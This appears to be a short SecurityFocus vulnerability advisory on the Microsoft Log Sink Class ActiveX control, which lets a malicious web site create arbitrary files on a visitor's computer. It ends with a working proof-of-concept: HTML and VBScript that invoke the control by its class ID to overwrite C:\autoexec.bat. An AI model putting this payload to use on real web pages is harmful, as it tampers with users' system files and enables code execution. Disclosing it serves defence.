source: https://www.securityfocus.com/bid/12646/info Microsoft Log Sink Class ActiveX control can allow remote attackers to create arbitrary files on an affected computer. A remote attacker can exploit this issue by crafting a malicious Web site that triggers this vulnerability and enticing a user to visit the site. If successful, the attacker may create arbitrary files on the computer. This may lead to various attacks including arbitrary code execution. <object id=ctl classid="clsid:{DE4735F3-7532-4895-93DC-9A10C4257173}"></object> <script language="vbscript"> ctl.initsink "C:\autoexec.bat" ctl.addstring "echo Drive formatted? ", "" ctl.deinitsink </script>